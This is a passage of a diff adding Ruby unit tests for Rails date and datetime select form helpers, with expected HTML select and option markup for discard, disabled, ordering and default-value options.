+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+  end
+
+  def test_datetime_select_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+  end
+
+  def test_datetime_select_with_options_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = 456
+
+    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
+  end
+
+  def test_datetime_select_within_fields_for_with_options_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = 456
+
+    output_buffer = fields_for :post, @post, :index => id do |f|
+      concat f.datetime_select(:updated_at)
+    end
+
+    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_datetime_select_with_auto_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = @post.id
+
+    expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post[]", "updated_at")
+  end
+
+  def test_datetime_select_with_seconds
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
+  end
+
+  def test_datetime_select_discard_year
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
+  end
+
+  def test_datetime_select_discard_month
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
+  end
+
+  def test_datetime_select_discard_year_and_month
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
+  end
+
+  def test_datetime_select_discard_year_and_month_with_disabled_html_option
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
+
+    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true)
+  end
+
+  def test_datetime_select_discard_hour
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true)
+  end
+
+  def test_datetime_select_discard_minute
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
+  end
+
+  def test_datetime_select_disabled_and_discard_minute
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true, :disabled => true)
+  end
+
+  def test_datetime_select_invalid_order
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
+  end
+
+  def test_datetime_select_discard_with_order
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
+  end
+
+  def test_datetime_select_with_default_value_as_time
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
+  end
+
+  def test_include_blank_overrides_default_option
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %(<option value=""></option>\n)
+    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %(<option value=""></option>\n)
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %(<option value=""></option>\n)
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
+  end
+
+  def test_datetime_select_with_default_value_as_hash
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
+  end
+
+  def test_datetime_select_with_html_options
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
